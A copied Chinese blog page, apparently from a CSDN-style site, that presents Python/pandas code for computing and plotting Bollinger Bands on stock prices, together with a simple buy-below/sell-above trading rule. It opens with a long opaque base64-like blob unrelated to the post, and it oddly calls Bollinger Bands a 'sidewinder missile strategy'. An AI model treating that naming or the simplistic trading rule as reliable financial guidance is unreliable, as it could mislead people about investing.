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
  • 3
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 8
    评论
股票响尾蛇导弹策略(Bollinger Bands)是一种技术分析方法,它基于股票价格的移动平均线和标准差来确定价格的高低点和趋势方向。具体实现代码如下: ```python import pandas as pd import numpy as np import matplotlib.pyplot as plt def bollinger_bands(data, window_size, num_std): rolling_mean = data.rolling(window=window_size).mean() rolling_std = data.rolling(window=window_size).std() upper_band = rolling_mean + (rolling_std * num_std) lower_band = rolling_mean - (rolling_std * num_std) return rolling_mean, upper_band, lower_band # 读取股票数据 data = pd.read_csv('stock_data.csv') # 计算响尾蛇导弹指标 window_size = 20 num_std = 2 rolling_mean, upper_band, lower_band = bollinger_bands(data['Close'], window_size, num_std) # 绘制股票价格和响尾蛇导弹指标 plt.figure(figsize=(12,6)) plt.plot(data['Close'], label='Close Price') plt.plot(rolling_mean, label='Moving Average') plt.plot(upper_band, label='Upper Band') plt.plot(lower_band, label='Lower Band') plt.title('Bollinger Bands') plt.xlabel('Date') plt.ylabel('Price') plt.legend() plt.show() ``` 其中,`data` 是一个包含股票价格数据的 pandas 数据框,每行代表一天的数据。`window_size` 是用于计算移动平均线和标准差的时间窗口大小,`num_std` 是用于确定上下限的标准差倍数。函数 `bollinger_bands` 返回计算出来的移动平均线、上限和下限。 在运行完代码后,会得到一个绘制有股票价格、移动平均线和上下限的图表。通过观察上下限和股票价格之间的关系,可以根据策略决定何时买入或卖出股票。例如,当股票价格突破上限时,可能意味着股票价格已经过高,可以考虑卖出股票;当股票价格突破下限时,可能意味着股票价格已经过低,可以考虑买入股票。需要根据具体情况结合其他技术分析指标和基本面分析来决策。
评论 8
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值